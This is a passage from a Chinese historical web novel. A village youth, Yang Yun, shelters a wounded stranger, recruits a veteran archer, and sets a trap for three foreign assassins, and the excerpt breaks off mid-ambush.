想到这里，病号眼中闪过一丝笑意，带着几分新奇说：“在下赵文盛，见过兄台，不知道阁下怎么称呼？” 赵文盛不知道昏迷多长时间，当务之急是要把目前的情况搞清楚，再决定该如何脱身。 杨云这点小刁难，他根本没放在心上。 见到赵文盛老老实实报名，杨云满意地点点头，伸出胳膊在空中拱拱手， “在下杨云，这里是东平县青山村，前天我在林子边发现你被冻僵，把你背回来的。” 东平县…… 赵文盛的眼中闪过一抹精芒，东平知县石任远官声清廉为人正直，应该不会和贼人勾结。 只是听到他已经昏迷两天，赵文盛的脸上又泛起忧色。 两天时间，足够那些刺客寻踪而来，找到他的藏身之地，继续刺杀他。 意识到潜在的危险后，赵文盛剧烈地咳几声，哑着嗓子问：“杨云，你这几天有没有发现，村里出现陌生人？” 村里的人抬头不见低头见，彼此都熟悉得很，只要有生人进村，立马会被发现。 杨云知道赵文盛是在担心刺客的事，他收起那副懒样，轻轻摇头说：“没有发现。我救你那天下一场好雪，应该把脚印什么，都盖住的。” 没有脚印，无法追踪，那些刺客说不定会放弃。 没想到赵文盛艰难地摇摇头，斩钉截铁地说：“就算盖住，他们也会……你知道有人在追我？” 如果杨云当时只想着救人，根本不会注意脚印，既然他注意到，那说明他已经猜到，把他救回来会惹麻烦。 杨云轻轻一笑，坐直身子，一边穿衣服一边说：“你头上那根金簪，至少得上千两银子。若不是惹上麻烦，像你这么尊贵的人，怎么会在我们村口的林子边冻僵？” 赵文盛摸摸头上的簪子，这根簪子对他来说，只是寻常之物，没想到杨云竟能透过一根簪子看出这么多东西。 “多谢杨兄弟救命之恩。” 刚才赵文盛的道谢多少有点不情不愿，这次却是真心实意。 明知道救他有麻烦，杨云依然愿意出手，这份胆略和气魄不是人人都有的。 杨云嘴里不咸不淡地客气几句，穿好衣服后，把被子褥子叠好，放在柜子里。 这时候敲门声突然响起，赵文盛眼睛立刻睁大，浓郁的杀气喷涌而出！ 紧接着，一个女人的声音从外面传来，“云儿，起来吃早饭。” 看赵文盛如临大敌的样子，杨云忍不住笑起来，冲着他摆摆手说： “不用那么紧张，是我娘。” 赵文盛脸上没有丝毫尴尬，以他的身份，在一个陌生地方，怎么戒备都不为过。 杨云打开房门，把姜梅叫进来。 见到赵文盛醒来，姜梅惊喜莫名，热情地说：“你昏迷这么长时间，一定饿了吧？我去给你盛粥！” 救人一命，胜造七级浮屠，儿子积这么大的德，姜梅自然替他高兴。 赵文盛见到姜梅果然是一个人，身上的杀气才渐渐褪去。 不多时，姜梅端着三碗米粥，还有一盘馒头和一碟咸菜走进来。 姜梅知道赵文盛还很虚弱，把枕头垫好，让他靠坐着，一口一口喂他吃粥。 赵文盛心中十分感激，冲着姜梅和杨云说：“你们母子的大恩大德我记在心里，等我伤好之后，必有重谢！” 第76章 你到底是谁 第七十六章 你到底是谁 当时天寒地冻，若不是杨云把赵文盛救回来，他不是被冻死，就是被追至的刺客杀死。 这份恩情他必须得报，不然对不起这母子二人冒的风险。 姜梅嘴角泛起笑意，和蔼地看着赵文盛说：“谢不谢，不重要，你只要能平平安安地好起来就行。” 姜梅觉得，儿子孝顺懂事，她每月能挣不少银子，房子盖好，她也心满意足。 赵文盛嘴角泛起淡淡笑意，没有跟姜梅在这件事上争执，心中想着，等看到赏赐之后，你说不出这种话。 吃过早饭，姜梅去洗碗，杨云给虚弱的赵文盛换过伤药后，坐在床边，定定地看着他。 平静的眼神看得赵文盛心中有些发毛，不由自主地往上提提被子，警惕地问： “杨云，你这么看着我干什么？若有什么要求，尽管开口，我一定答应你。” 杨云看赵文盛好一会儿，最后轻轻摇头，吸一口气问：“你到底是谁？” 赵文盛眼中飞快闪过一道精光，难道这小子猜到他的身份？ 但他很快冷静下来，青山村地处偏僻，不可能有人见过他，知道他的真名。 想明白这一点，赵文盛放松很多，脸上露出一丝勉强的笑容说：“杨兄弟你问这话是什么意思？我刚才不是跟你说过，我是赵文盛。” 杨云依旧没有挪开目光，看着赵文盛继续问道： “我知道你的名字。我是问你，你是哪里人，干什么的？” 在救回赵文盛那晚杨云已发现，他看赵文盛十分眼熟，好像在哪里见过，但具体是哪，怎么都想不起来。 赵文盛的目光闪几下，不知道杨云为什么问得这么细，却很快变出一套说辞， “这确实是我的疏忽，忘了自报家门。” “在下赵文盛，京城人氏，以贩卖古董字画为生。” “这次是几个老对头想要吞并我的生意，派出刺客取我性命。幸好杨兄弟侠义心肠，才让我逃过此劫。” 贩卖古董字画？ 杨云眉头微皱，难道是之前赵文盛给天应侯府送过字画，他偶然见过他一次？ 要是这样，挺合情理。 以他当时的身份，确实不会对一个古董商有太深印象。 看着杨云疑惑的样子，赵文盛趁机问道：“杨兄弟，我看你面带为难，是不喜欢我这个行当？” 有些读书人认为，字画乃文人的心血之作。 古董商人低买高卖，平白让高雅之物沾染铜臭，十分可恶，对他们十分讨厌。 杨云的眼睛转转，还是没想到在哪里见过这人，只能叹气说： “我总觉得看你眼熟，还以为咱们之前见过，现下看来，应该是个误会。” 这下换赵文盛疑惑，眼熟？一个山村小民怎么会对他眼熟？ 他打量杨云片刻，心中竟也觉得杨云眼熟，似两人真见过一般！ 杨云？杨云！ 赵文盛默念杨云的名字几遍，心中忽然有一道灵光闪过，天应侯的假儿子，叫杨云！ 天应侯府的真假世子之谜，在京城闹得沸沸扬扬，赵文盛自然也知道。 他还知道，那个假世子，没有被侯府的锦衣玉食迷惑，亲手鞭笞生母，而是跟着他母亲回到乡下生活。 难道他面前的杨云，是天应侯府那个假世子？ 想到这里，赵文盛眼中闪过一丝莫名惊奇，试探着问：“杨兄弟说我眼熟，难道你也在京城生活过？” 杨云没有把赵文盛的话放在心上，随口答道：“我确实在京城住过一段时间。” 这下赵文盛可以肯定，面前的人是天应侯府的假世子！ 两人确实见过一面，但那已经是十一年前的事，杨云当时才七岁，肯定记不清楚。 见到赵文盛老底都抖出来，他还没想到他到底是谁，杨云也只能暂时放下，嘱咐他好好休息后，来到院中，堆着墙边的一堆农具发呆。 赵文盛身后的麻烦随时可能追来，他得想办法弄点武器防身，免得到时没有还手之力！ 只是家里除锄头外，就是草叉，干活还行，想对付杀手简直是异想天开。 杨云看半天，心中忽然有办法，拿起银子去铁匠铺买几十个最大号的钉子，回家钉在木板上，尖头朝上，放在院墙下面。 姜梅洗完碗筷出来，见到杨云在墙边忙碌，好奇地过来看看。 等看清楚杨云干的事，她连忙阻拦说： “云儿，你这是干什么？要是有人从墙上跳下来，这不一下扎到脚吗？” 墙边已经错落有致地摆十几块板子，每块上面都带着密密麻麻的钉子。 阳光一照，闪烁着让人打战的寒光。 “娘，要的是扎脚啊。” 杨云起身将母亲推回屋中，神神秘秘地对她说： “我放这些东西自有用处，您别管了。” 姜梅脸上闪过担忧之色，但想想儿子回村以来，做得每件事都有理有据，也暂时把心里的疑惑压下去。 等到中午，杨云终于将所有的钉板都放下去，若有人翻墙进来，必然会踩中。 吃过午饭后，赵文盛的神色终于好转，不再像刚救回来那么惨白，说话也有几分中气。 杨云找个借口，把母亲从房中支走，坐在床边看着赵文盛问道：“赵掌柜，你觉得追杀你的人，找不到你的踪迹，他们会撤走吗？” 早上赵文盛说过，杀他的人是他的老对头派出来的。 不管他这句话是不是真的，但都能说明，赵文盛对杀手和他们背后的人有一定了解。 杨云想要挡住那些杀手，问问赵文盛绝没有错。 赵文盛的脸色也凝重起来，缓缓地摇摇头，斩钉截铁地说： “不可能！他们都是训练有素的刺客，除非确定我死了，或再也找不到刺杀机会，他们才会离开。” 杨云赞同地点头，看着赵文盛说： “你的判断跟我一样。我想他们发现你之后，不仅不会撤走，反而会召集更多杀手过来！” 第77章 宝刀不老 第七十七章 宝刀不老 杨云最发愁的，是不知道会有多少刺客来杀赵文盛。 这个院里总共三个人，一个书生，一个寡妇，还有一个病号。 别说杀手，就算是几个正常人他们都打不过，何况是训练有素的杀手。 要是来的杀手只有一个，杨云多设点陷阱，说不定能拼掉。 若是两个，他们的死活得看天意。 要是三个甚至更多，他们必死无疑！ 但杨云又不能把刚救回来的赵文盛扔到院外，只能绞尽脑汁想办法。 看杨云愁眉不展的样子，赵文盛眼中闪过一丝精芒，沉思片刻后说：“追杀我的刺客，只有三个，他们应该不会召集更多人手的。” 原本刺客有十人，但赵文盛的护卫杀掉七个，剩下三个也受伤，赵文盛才能逃走，在青山村口的林子，被杨云所救。 “三个？你怎么知道他们不会找更多帮凶过来？” 杨云脸上泛起一阵难色，三个杀手听起来不多，但他的实力更差。 床榻上的赵文盛脸色苍白，但说起这事的时候，确实自信至极，“第一，时间不够，青山村跟他们的老巢隔着很远，等支援过来，我早离开这里了。” “第二，杀手不是那么好找的，这次能凑出十个，已经很不容易。” “最后一点是最重要的一点，他们不想让别人抢功，多一个人得多分一份钱。” 杨云恍然大悟地点头，从当前的情形来看，三个杀手足以应付，再多叫人反而不好。 只是三个杀手，也不是他们老弱病残三人组能应付的。 赵文盛紧紧地盯着左右为难的杨云，他知道杨云在为难什么，沉默片刻之后说： “再休息一两个时辰，我能下床了，到时候我会离开的。” 若赵文盛继续留在杨家，肯定是三人全都被杀。 要是他大摇大摆地离开，他的命确实保不住，但杨云和姜梅至少能活着。 那三个杀手是要他的命，只要他死了，那三人不会找杨云和姜梅的麻烦。 杨云诧异地看他一眼，没想到这个经商的人还有些义气。 但杨云沉默片刻后，坚定地摇摇头，冲着赵文盛说：“当初我救你回来的时候，是知道你有麻烦在身的。” “如果我现下让你离开，当时不救你多好？还能省下汤药和饭钱。” 杨云的话不好听，却明白无误地告诉赵文盛，刚才那个办法不行。 赵文盛看着新糊的顶棚，轻轻叹气说：“我一个人死，总比咱们三个一起……强吧。” 杨云没有接赵文盛的话茬，而是看着他郑重地问：“我想到一个合适的帮手，只是我跟他交情不深，不知道能不能请他过来帮忙。” 请人过来帮忙对付杀手，这是生死攸关的大事，必须提前和赵文盛说清楚才行。 听到杨云竟有帮手，赵文盛目光一凝，侧着脑袋道：“什么人？能靠得住吗？” 现下最关键的是不要泄露赵文盛的行踪，这样杨云还能拖延一段时间。 万一找的人是个大嘴巴，到处在青山村里乱说，杀手肯定会立刻杀上门。 看赵文盛谨慎的样子，杨云回想一下，压低声音对他说：“那人名叫程守信，是参与过白弯大战的天鹰卫，后来从军中离开，回家种田。” 赵文盛听到杨云要找的人，竟参与过白弯大战，忍不住脱口问：“你确定，他参与的是十三年前的白弯大战？” 十三年前，赵文盛刚二十岁，每天都关注白弯大战的情况，对这一战的印象非常深刻。 听到青山村竟有参与白弯大战的天鹰卫，自然惊诧不已。 杨云看着赵文盛吃惊的样子，仿佛看到他刚知道这件事的样子，笑着点头说： “非常确定，我问过他几个小细节，他的回答全都对得上。” 赵文盛没有追问杨云，为什么一个小山村的普通人，会知道白弯大战的细节。 他只是沉思片刻点头说：“参加过白弯大战，必然靠得住。杨兄弟你可以把他请来商议，至于酬劳，不是问题！” 能在京城做古董生意的商人，自然不会在这方面吝啬。 跟赵文盛通过气后，杨云让母亲去和胖婶聊天，他把程守信请过来。 但他没有让程守信和赵文盛见面，而是先在堂屋和他喝茶闲聊，“程叔，你从军中退出这么长时间，还能开得了弓吗？” 这是在试探程守信的实力，如果他已经把军阵上那些事忘了，叫他帮忙是多个人送死。 程守信歪着头瞄杨云几眼，似笑非笑地说：“怎么，你小子想练武？你确实该练练，这身子板太瘦了。” 相比程守信砂锅大的拳头，虎背熊腰的身材，杨云的确瘦得跟小鸡仔一样。 听到程守信想操练他，杨云差点把刚喝下的茶喷出来。 他连连摆手说：“程叔，我不是那个意思，我是说，要是你现下对上手持利刃的坏人，打得过他们吗？” 程守信没有正面回答，而是看着杨云皱眉问道：“怎么，外面有人欺负你？你想让我给你报仇？” 眼看两人越扯越远，杨云连忙把话题拉回正轨，“没有，我是想问你，你能不能打过他们，若是能，我有个大忙让你帮。” 应付三个杀手，这是把脑袋拴在裤腰带上玩命，确确实实是个大忙。 程守信的眼睛转转，敏锐地察觉到杨云话语中带着的寒意，沉思片刻说：“若能动刀箭，我至少能败两个。” 听到程守信这么有信心，杨云慎重地提醒他，“程叔，我要找你帮的忙不是小事，你一定要实话实说，不然有性命之危！” 刚才程守信已觉得杨云有些奇怪，现下听到他的话，更加迷惑，“我这是实话。杨云，你到底想让我帮什么忙？我告诉你，违反律法的事我不干！” 看程守信狐疑的样子，杨云起身朗笑一声，冲着他拱拱手说：“程叔真是宝刀未老！” “您跟我来，我带您见一个人。” 第78章 说动程守信 第七十八章 说动程守信 程守信被杨云神神秘秘的样子，搞得有些晕头转向，迷迷糊糊地跟着他来到隔壁屋子。 刚进房门，程守信看到床上躺着一个面白如雪的年轻人，他吓一跳，瞪着杨云说： “杨云，你怎么还在屋里藏人？这事你娘知道吗？” 杨云被问得有点懵，片刻后才明白，程守信以为他金屋藏娇，把别家的姑娘拐回来。 差点被气歪鼻子的杨云翻个白眼，指着床上的人说：“程叔你看清楚点，那人是个男的！” 床上的赵文盛脸色也有些难看，他没想到有天被人当成姑娘，还是跟人私奔的姑娘。 “男的？” 刚才看到赵文盛背过身的程守信，才转过来，仔细看半天。 只是确定床上是男人后，程守信的脸色更加古怪，斟酌着说：“杨云，男的跟男的……嗯……也不是不行，你最少得娶到媳妇……再这么玩吧……” 程守信心想，怪不得杨云要问他能不能打，这种情况肯定是床上这家的人知道，要带人来找他麻烦！ 眼看程守信越想越歪，杨云连忙打断他，艰难地解释说： “程叔，你想错了，我们不是那种关系！他是我从村口林子里救回来的，有人在追杀他！” 程守信看看杨云，又看看床上的赵文盛，疑惑地问：“真的吗？” 杨云被程守信的眼神看得受不了，走过去，将赵文盛身上的被子掀开，指着他腹部的伤口说： “你看，这是那些杀手给他留下的伤势！” 见到赵文盛腹部真有伤口，程守信上前仔细看看，脸色一沉，“这伤口要是往上点，你这条命没了，看来真有人想杀你。” 程守信从军多年，能看出赵文盛的伤口绝不是误伤或玩闹，而是确实有人要他的命！ 赵文盛听到程守信的话，微微点头，一眼能看出伤口的致命性，不愧是白弯大战的老兵，心中对他的不喜也消减很多。 杨云起身去把房门关好，走到程守信身边说：“最重要的事，那些杀手还在找他！要是那些杀手知道他的下落，他必死无疑！” 程守信看过赵文盛的伤口后，转头看着杨云问： “你的意思是，想让我出手，帮他杀那三个人？” 赵文盛冲着程守信点头，用中气不足的声音缓缓说：“没错，杨兄弟是这个意思。” “程壮士，你要能帮我杀那三个人，我愿意奉上纹银五千两，以报阁下出手之情！” 从程守信进来，赵文盛一直在打量他。 身上穿的是粗布旧衣，脚上靴子的底也磨得很薄，一切都表明，程守信家里不富裕。 对这样的人，用最简单的办法，砸银子即可。 纹银五千两！ 杨云和程守信倒抽一口凉气，这不是个小数目！ 杨云家新盖的三间瓦房，再加上糊顶棚买家具，也才花三十七两银子。 五千两，都够盖一百多套这样的房子啊！ 只是程守信在最初的激动过后，深吸一口气，冲着床上的赵文盛说：“多谢先生抬爱，但杀人是违反大盛刑律的事，你被人追杀，应该赶快报官才行。” 赵文盛看一眼杨云，用眼神质问，这是你找的人？什么时候，还说这种迂腐的话？ 杨云也没想到，程守信会说出这种话，苦笑着摇摇头说：“程叔，就算报官，那些衙役也只是过来看看，杀手完全能等衙役走之后再动手。” “那些衙役总不能为赵兄一个人，把整个东平县放着不管吧？” 程守信的脸上浮现出犹豫之色，皱眉说：“你说得有些道理……但我现下只是一个庄稼汉，杀人……” 看程守信犹豫的样子，赵文盛立刻又把酬劳往上翻一倍，“程壮士，你愿意出手的话，我可以给你纹银一万两！” 听到这个价格，程守信非但没有高兴，反而皱眉看了看赵文盛，不悦地说； “你以为我是在故意抬价？这位公子，你可以等杀手来后，给他们纹银一万两，说不定他们会心动，从而放过你。” 说完，程守信冲着赵文盛拱拱手，转身向外走去。 如果想要富贵荣华，当年他不会从天鹰卫中退出。 这人刚见面用钱砸，必然是利欲熏心之辈，他不想救这种人。 见到唯一的救命稻草要走，赵文盛的脑筋飞快转动，在程守信要拉开房门的时候，赵文盛忽然开口， “没想到昔日威风凛凛的天鹰卫，如今竟成只知道下蛋的老母鸡！” 程守信放在门把上的手立刻不动，他转头用冰冷的眼神盯着赵文盛，话语中带着毫不掩饰的寒意， “你侮辱我没事，但若再让我听到你侮辱天鹰卫，我把你的舌头割下来。” 听到程守信这么威胁他，赵文盛不仅不生气，反而笑起来， “当年以七万兵力，在白弯硬扛北夷十五万骑兵的天鹰卫，现下竟连三个北夷狼崽子都不敢杀，我说你是老母鸡说错了吗？” 程守信蓦然转身，死死地盯着赵文盛说：“北夷狼崽子？追杀你的是北夷人？” 原本程守信以为，追杀赵文盛的人是大盛人，没想到竟北夷杀手！ 杨云皱眉看着赵文盛，东平县虽然距离京城很远，但也不是北夷人想来能来的地方。 赵文盛被北夷刺客追杀，看来他的身份没有表面说得那么简单。 见到程守信转身，赵文盛眼中闪过一丝轻松，轻轻点头说： “不错，刺杀我的十个刺客都是北夷人，但有七个被我的护卫杀掉。” 之前赵文盛听人说过，天鹰卫的每个人都对北夷人恨之入骨，从程守信的反应来看，此言非虚！ “已经杀掉七个吗？可惜，不能亲自送他们上路。” 刚才还稳如泰山的程守信，脸上露出一丝狰狞的笑容，似狼看见羊一样， “既然是北夷狼崽子，那我说什么都要宰了他们！” 第79章 转移 第七十九章 转移 白弯大战，天鹰卫死伤惨重，程守信虽已经从军中退役，但那份血仇早刻进骨中！ 现下北夷狼崽子已经摸进村里，程守信自然不会袖手旁观！ 听到程守信决定帮忙，赵文盛的眼中闪过一丝赞赏之色，温和地对他说： “程壮士，你若能把这三个狼崽子全杀了，我给你一百五十两银子做酬劳。” 杨云不解地皱起眉头，之前赵文盛开价一万两，程守信都没要，能要这一百五十两？ 出乎杨云预料的是，程守信脸上泛起惊讶之色，笑着轻轻点头：“好！” “我先去准备一下，咱们再商量，该怎么杀那三个狼崽子！” 看程守信大步离开的背影，杨云满脸疑惑地看着赵文盛，“你为什么给程守信开个一百五十两的价格？” 开始赵文盛的价码已经开到一万两，他要么不给酬劳，要么不能低于这个数字。 他却偏偏开出一个超低价，最奇怪的是，程守信不要一万两，却要这一百五十两！ 床上的赵文盛看着杨云疑惑的样子，轻轻笑起来，“送人礼物，不能看你有什么，要看别人缺什么。” “程壮士虽然只是一介布衣，但看他拒绝万两纹银毫不犹豫的架势，你应该知道，这不是一个银子能买动的人。” 杨云和程守信是邻居，他很清楚程家有些积蓄，但不会超过几百两，一万两银子对他来说，绝对是个天文数字，他却毫不犹豫地拒绝，这很难得。 但这更让杨云想不通，他歪头看着赵文盛问道：“既然他不是银子能买动的人，那为什么还要拿一百五十两？” “难道他是觉得一万两太多，价格低点拿得心安理得？” 赵文盛开的价码明显过高，说不定程守信是怕别人说他贪婪，才不接受。 没想到赵文盛轻轻摇头，冲着杨云解释说：“我不是拿银子谢他，而是拿军功谢他！” 这下杨云更迷惑，双眼之中全是茫然之色，“军功？你什么时候跟程叔提军功的事？再说他已经不是天鹰卫，要军功有什么用？” 虽然杨云从小在天应侯府长大，但没有进过军营，对军功只知道一点皮毛。 他可以肯定，程守信和赵文盛的谈话，绝对没有谈到任何军功。 赵文盛把被子往上一提，慢条斯理地说： “按天鹰卫的军规，一颗北夷狼骑的首级值五十两银子，三颗北夷首级，自然是一百五十银子。” 杨云本身很聪明，有赵文盛点拨，立刻恍然大悟！ 程守信之所以会帮赵文盛，是因为杀手的北夷出身，勾起他心中白弯大战的血仇。 既然如此，赵文盛用军中规矩给酬劳，程守信自然拿得心安理得。 想通这点，杨云看向赵文盛的目光更加疑惑，能在短时间内看透程守信心中所想，还能准确地拿捏他的想法，这人定然不是普通人！ 一炷香后，程守信拿着一把弓，两把长刀小心地走进来。 “杨云，这把刀给你！” 程守信将带来的东西放好，随手拿起一把新刀扔给杨云。 杨云手忙脚乱地接住刀，拔 出 来试着舞两下，愁眉苦脸地说： “程叔，你不会是想让我也对付一个北夷杀手吧？” 杨云的养父是大将军，他自然接触过刀剑，只是水平稀烂，比普通人强一点而已。 要是对上训练有素的杀手，他手里有没有刀，其实没有区别。 程守信把那把旧刀缓缓拔出，将上面的油用棉布仔细擦净，口中慢慢地说： “我当然不指望你，但你们两个手里要有个防身的家伙。” 以一敌三，谁也不知道会发生什么情况，做好万全准备是应该的。 杨云若有所思地点头，抓着刀开始回想，侯府那些护卫，教头之前是怎么教他用刀。 程守信把刀擦一遍，接着用磨石磨过，又给弓上弦，试着拉几下，发现依旧能拉满后，脸上露出满意的笑容。 等把杀人的家伙准备好，程守信和杨云在院子里转一圈，杨云还特意把做的陷阱给他看过。 程守信不置可否地点头，对杨云说： “我们最好把赵文盛接到堂屋住，这里视野最开阔，能看到整个院子的动向。” “堂屋的墙是院墙，不用担心北夷杀手从后面偷袭。” 在这方面，杨云和赵文盛加起来都没程守信经验多，自然以他为主。 傍晚，姜梅回来做饭的时候，发现赵文盛竟占她的房间，不由得有些不悦， “你……你这也太不懂规矩吧？哪有客人住主人房间的？” 客人上门要好好招待，但住主人的房间，等于鸠占鹊巢，和前几天杨玉竹的打算一样。 杨云将准备起身的赵文盛按回床上，快步走到母亲面前低声说： “娘，你还记得我之前跟你说的麻烦吗？他们可能要上门了！” 姜梅记得儿子跟她说过，赵文盛身后有麻烦，当时她只想救人，没想太多。 现下听到麻烦上门，忍不住吓一跳，一双眼睛到处乱看，紧张地问：“在哪呢？我怎么没看到？” 杨云神色凝重地对母亲说：“还没来，但很快来了。我和程叔商量一下，堂屋的视野最好，赵文盛住在这里最安全。” 姜梅的眉头紧紧皱起，为难地问道： “你们为保护他这么做，我没意见。可我一个寡妇，不能跟他住在一个房子里啊！” 大盛朝虽然不禁寡妇再嫁，但对女人的贞 洁也很看重。 若姜梅和赵文盛同住一间房，就算两人没有发生什么，族里和杨家也会找他麻烦。 这一点杨云早想好了，他悄悄对姜梅说：“在这件事解决之前，你去程叔家和胖婶挤挤，等把麻烦解决，您再搬回来。” 姜梅知道这是没有办法的办法，只能勉为其难地答应。 可等足足两天两夜，北夷杀手始终没有露面。 第三天，程守信终于忍不住，疑惑地看着杨云和赵文盛，“你们说的北夷杀手，真来了吗？” 第80章 故意露迹 第八十章 故意露迹 之前程守信听杨云和赵文盛说得急迫，这才放下家里的活，来帮他们对付北夷杀手。 但等两天都没动静，这不由得让程守信焦躁，这两人不会是骗他吧？ 杨云皱眉看向赵文盛，他心中也很奇怪，北夷杀手为什么迟迟不来。 经过两天的休养，赵文盛的脸上已经有几分血色，他思索片刻后说： “可能是因为你们藏得太好，北夷杀手还没有发现我的行踪。” 青山村有两百多户人家，追杀赵文盛的人只有三人，还不敢惊动村民，排查效率必然低下，直到这时候没找到赵文盛的线索，也很正常。 杨云想想，赞同地点头。 他和母亲在村里本来很低调，把赵文盛救回来后，两人行事更小心，北夷杀手没有注意到他们家，实在是太正常。 程守信想想这段时间，杨云几乎足不出户，也点头，沉吟着说： “咱们一直这么干等不是办法，不如主动露 点破绽，诱他们前来。你们说呢？” 这个办法的好处，是能找到北夷杀手，但坏处也很明显，暴露行踪后，赵文盛很危险。 杨云当然想尽快把这件事解决，但他不能主动说，只能转头看向赵文盛。 赵文盛的目光阴沉，沉思良久之后，才缓缓点头， “程壮士说得对，一直苦等，只能是坐以待毙，还不如我们主动出击。” 程守信见到赵文盛点头，靠在墙上，眯着眼睛说：“那咱们要怎么才能让杀手知道你在这里？要是太明显，他们说不定会看出什么。” 若论上阵杀敌，程守信是一把好手，但要是让他想个计策，那太难了。 杨云的眼睛转几圈，立刻想到一个好主意，低声对两人说：“之前我娘煎药的药渣还没有倒，我可以趁着天黑的时候，把药渣倒出去。” 床上的赵文盛赞同地点头，脸上带着一抹凝重说：“这个办法好，以他们的能力必然会从药渣联想到我的身上，最多一天，他们能发现我的藏身之地。” 这些北夷杀手训练有素，暗杀追踪都是好手，只要给点线索，定能查到赵文盛的行踪。 杨云看看全副武装的程守信，又看看病恹恹的赵文盛，主动承担起倒药渣的任务，“等到天到黄昏，我把所有的药渣都倒出去，那些杀手肯定会发现。” 赵文盛挣扎着坐起来，艰难地冲着程守信拱手，神色凝重地对他说：“程壮士，在下这条性命交给你了，想来以天鹰卫之能，出手必不让人失望！” 程守信知道身上背着三个人的性命，郑重地起身还礼，“只要程某还有一口气，必不让北夷杀手动你一根汗毛！” 两人互相行礼后，赵文盛转头看向杨云，带着几分轻松对他说：“杨云，你倒完药渣，去程壮士家里凑合一夜吧，剩下的事，自有我们两人料理。” 杨云坐在椅子上哼一声，歪头看着他说：“怎么，你病还没好，想把我这个主人赶出去了？” 杨云知道，赵文盛让他去胖婶家凑合一夜，无恶意，反而是好心。 北夷杀手凶残狡诈，如果程守信能打得过他们三人，自然一切好说。 可要是程守信打不过他们，杨云留在这里是枉送性命。 程守信是主要对付杀手的人，赵文盛是杀手的目标，他们两个都不能走。 但杨云要是不在场，这些杀手完成任务后，也不会追到胖婶家赶尽杀绝。 见到杨云误会，赵文盛连连摇头，赶紧解释说：“杨兄弟，我不是那个意思，我是想让你暂时去……” 不等赵文盛把话说完，杨云挥手打断他，摆出一副无赖的架势，跷着二郎腿说： “不管你是什么意思，这里是我家，我不想走，谁也没本事赶我走！” 看杨云无赖的架势，赵文盛醒悟，杨云根本不是误会，他已经明白他的意思，但他不想在这种关键时刻，弃他而去！ 赵文盛心中生出一股暖意，没想到在生死攸关之时，竟遇到两个堪称英雄的好汉子！ 他冲着杨云点头，没有再劝，有些事是男人必须去做的，谁劝都没有用！ 等到天近傍晚，杨云悄悄打开院门，鬼鬼祟祟地探头看看，确定左右没人后，拿着煎药锅快步跑出来，将药渣倒在门口的草丛之中！ 入夜之后，三道黑影悄无声息地摸进青山村中，杀手老大站在路口，低声说： “村东和村北我们都搜过，没有人救目标，接下来的两天是把村南和村西搜一遍。” 站在右边的杀手眼中闪过一抹忧色，皱眉问道：“老大，那人会不会已经逃走？我们到处搜查只是在浪费时间？” 没想到杀手老大斩钉截铁地说：“不可能！这两天咱们晚上探查，白天轮流守着村口，那人要么死了，要么在村里！” 见到老大说得这么肯定，剩下两个杀手不敢多言，只能老老实实地去村南搜查。 只是刚搜几家，其中一个杀手的鼻子忽然用力抽 动几下，脸上泛起喜色，“老大，我闻到药味了！” 杀手老大眼睛一亮，急切地问道：“在哪？” 青山村的人生病，一般都是扛着，唯有有钱的那几户才会找郎中开方抓药。 只是这几家有钱人，杀手老大早搜过，他们没有藏匿目标。 现下突然闻到药味，肯定是目标生命垂危，收留他的人不得不去买药！ 闻到药味的杀手循着味道走几步，终于在草丛中发现傍晚杨云倒掉的药渣！ 他抓起一些闻闻，又用舌头尝尝味道，才小声说：“老大，这药渣里有甘草，人参，前胡等几味药，应该是荆防败毒散，主治风寒湿邪！” 杀手老大的眼睛在黑夜中烁烁放光，兴奋地说：“那人在村口的林子里被冻好几个时辰，这药肯定是给他治病的！” “他在附近，兄弟们，搜！” 第81章 夜袭 第八十一章 夜袭 其他两个本来有些意兴阑珊的杀手，也兴奋起来。 他们知道，只要能杀掉那个人，回家后，迎接他们的必然是高 官厚禄！ 三人稍微看一圈，盯上杨云新盖的瓦房。 药渣出现的地方，距离这所房子最近，目标藏在这里的可能性最大！ 杀手老大和剩下两人对视一眼，快步来到院墙边，脚蹬墙砖，飞身翻进杨云家中！ 只是刚落地，杀手感觉脚上一疼，几根钉子扎穿他的脚掌！ “啊……” 尽管踩中陷阱，但杀手只是啊半声立刻住口，免得惊醒屋中的人。 院墙外的杀手老大听到同伴的叫声，轻声问道： “老 二，你怎么了？” 被扎穿脚掌的老 二靠在墙上，用同样低的声音回答， “老大，墙边有人布着钉板，等我清出一片干净地方，你们再进来！” 这些杀手被派出来执行这个任务，能力，心性都是百里挑一，即便中陷阱，第一时间想的也不是要怎么脱身，而是给后面的同伴铺路。 老 二强忍着脚上的疼痛，慢慢蹲下，借着清冷惨白的月光，轻轻将两边的钉板全部扫开，等做完这一切，他头上已经满是汗珠。 “老大，顺着我跳的位置进来，千万不要离开太远。” 老大和老三对视一眼，轻轻点头，按照老 二的位置错开少许，翻入院中。 “老 二，你怎么……” 老三刚翻进来，看到老 二蹲在地上，脸上满是痛苦之色，伸手想要把他扶起来。 只是他的话还没有说完，毫无光亮的堂屋中，忽然飞出一支冷箭，直奔老三心口而去！ 虽说三人训练有素，但晚上目力大减，老三又将全副心神都放在老 二身上，等到冷箭及身的时候，已经完全没有反应时间，立刻被钉在墙上！ “有埋伏！” 老大立刻反应过来，中埋伏，口中大喊一声，一个翻滚躲在杨云家的东房后面。 老 二双脚被扎穿，根本来不及躲避，只能尽力平躺在墙边的阴影中，让箭手找不到他。 老三口中不停地咳着血沫，眼中的光亮也渐渐消散，明显是活不成的。 见到两个兄弟，连正主的面都没见到，一死一伤，杀手老大目眦欲裂，恨不得立刻冲出去，将堂屋里的人碎尸万段！ 但他很清楚，这么冲出去是找死，必须堂屋里的人逼出来才行！ 他咬着牙看看四周，忽然发现墙边有很多钉板，脑海中灵光一闪，挥刀将衣服前摆割下，缠在钉板上，从怀中掏出火折子，将上面的布料点燃。 布料将木板点燃，杀手老大看准西屋的窗户，使劲一扔，被点燃的钉板立刻撞碎西屋的窗棂，被扔进屋里。 始终毫无声息的堂屋，见到火把扔进西屋，终于忍不住惊叫一声，“不好，他们要烧房子！” 堂屋之中，杨云满眼怒色地看着已经被射死的老三，他没想到，这些人这么恶毒，竟要把他刚盖好的新房子烧掉！ “杨兄弟你不要着急，若你的房子真被烧了，我给你盖一个比这大十倍的宅子！” 赵文盛听到外面的动静，镇定地安抚杨云。 只要能躲过这一劫，别说比杨家大十倍的宅院，大一百倍的宅院他也盖得起。 “我不是担心房子，我是怕我娘受不了……” 对杨云来说，房子烧就烧了，大不了再盖。 但对姜梅来说，这把火等于烧掉她半辈子的希望，事后必然会大病一场，甚至落下心病。 赵文盛这下也不知道该说什么好，他再有钱，也不能劝别人不要管娘。 “我去吧。” 